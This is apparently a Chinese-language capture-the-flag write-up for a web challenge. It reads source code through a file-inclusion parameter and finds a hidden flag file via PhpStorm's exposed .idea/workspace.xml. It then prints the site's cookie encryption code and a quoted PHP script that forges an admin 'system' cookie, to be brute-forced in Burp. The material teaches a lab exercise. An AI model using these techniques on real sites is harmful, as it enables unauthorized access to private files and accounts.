web檔案包含 i春秋 code題目
阿新 • • 發佈:2019-01-10
網站連結開啟來是一張圖片,檢視原始碼是沒用的base64碼,我們可以利用檔案包含讀一下index.php這檔案的程式碼,/index.php?jpg=index.php,檢視程式碼是base64碼,經過base64-Encode,發現是一段函式。
<?php /** * Created by PhpStorm. * Date: 2015/11/16 * Time: 1:31 */ header('content-type:text/html;charset=utf-8'); if(! isset($_GET['jpg'])) header('Refresh:0;url=./index.php?jpg=hei.jpg'); $file = $_GET['jpg']; echo '<title>file:'.$file.'</title>'; $file = preg_replace("/[^a-zA-Z0-9.]+/","", $file); $file = str_replace("config","_", $file); $txt = base64_encode(file_get_contents($file)); echo "<img src='data:image/gif;base64,".$txt."'></img>"; /* * Can you find the flag file? * */ ?>
一開始以為沒有其他有用的資訊,只關注了下cofig這個單詞會被過濾杯替換成下劃線,其他的暫時先不關注,後來發現"Created by Phpstorm"是個關鍵資訊,我們可以瞭解一下phpstorm在新建專案的時候會自動出現 .idea 這個資料夾,這個資料夾是這個專案的根目錄,裡面包含以下xml檔案(配置檔案),具體可以瞭解一下https://segmentfault.com/q/1010000008644646
可以訪問一下這個檔案裡面內容,發現在workspace裡面有關鍵資訊,url/.idea/workplace.xml,發現在index目錄下有個fl3g_ichuqiu.php這個檔案,用檔案包含的漏洞讀取一下,之前我試了直接讀取。
<?php /** * Created by PhpStorm. * Date: 2015/11/16 * Time: 1:31 */ error_reporting(E_ALL || ~E_NOTICE); include('config.php'); function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') { $hash = ''; $max = strlen($chars) - 1; for($i = 0; $i < $length; $i++) { $hash .= $chars[mt_rand(0, $max)]; } return $hash; } function encrypt($txt,$key){ for($i=0;$i<strlen($txt);$i++){ $tmp .= chr(ord($txt[$i])+10); } $txt = $tmp; $rnd=random(4); $key=md5($rnd.$key); $s=0; for($i=0;$i<strlen($txt);$i++){ if($s == 32) $s = 0; $ttmp .= $txt[$i] ^ $key[++$s]; } return base64_encode($rnd.$ttmp); } function decrypt($txt,$key){ $txt=base64_decode($txt); $rnd = substr($txt,0,4); $txt = substr($txt,4); $key=md5($rnd.$key); $s=0; for($i=0;$i<strlen($txt);$i++){ if($s == 32) $s = 0; $tmp .= $txt[$i]^$key[++$s]; } for($i=0;$i<strlen($tmp);$i++){ $tmp1 .= chr(ord($tmp[$i])-10); } return $tmp1; } $username = decrypt($_COOKIE['user'],$key); if ($username == 'system'){ echo $flag; }else{ setcookie('user',encrypt('guest',$key)); echo "╮(╯▽╰)╭"; } ?>
這是一個加密解密的指令碼,參考了pureT大佬的指令碼。
<?php
error_reporting(E_ALL || ~E_NOTICE);
$text = 'guest';
$cookie_guest = 'dk9FS0hOXUhH';
$cookie_guest = base64_decode($cookie_guest);
$rnd = substr($cookie_guest,0,4);
$cookie_guest = substr($cookie_guest,4);
for ($i = 0; $i < strlen($text); $i++) {
$text[$i] = chr(ord($text[$i])+10);
}
for ($i = 0; $i < strlen($text); $i++) {
$key .= ($text[$i] ^ $cookie_guest[$i]);
}
$text2 = 'system';
for ($i = 0; $i < strlen($text2); $i++) {
$text2[$i] = chr(ord($text2[$i])+10);
}
$t = '0123456789abcdef';
for ($j = 0; $j < strlen($t); $j++) {
$key_temp = $key.$t[$j];
$result = '';
for ($i = 0; $i < strlen($text2); $i++) {
$result .= ($key_temp[$i] ^ $text2[$i]);
}
$result = base64_encode($rnd.$result);
echo $result."\n";
}
?>
作者:PureT
連結:https://www.jianshu.com/p/3d7fb34c28a6
用了大佬的wp,放進burp去爆破,可得key。
ps:最後那個操作真的不會,比較撈,若有大佬看到哪裡有錯誤或是講的不全,歡迎評論補充。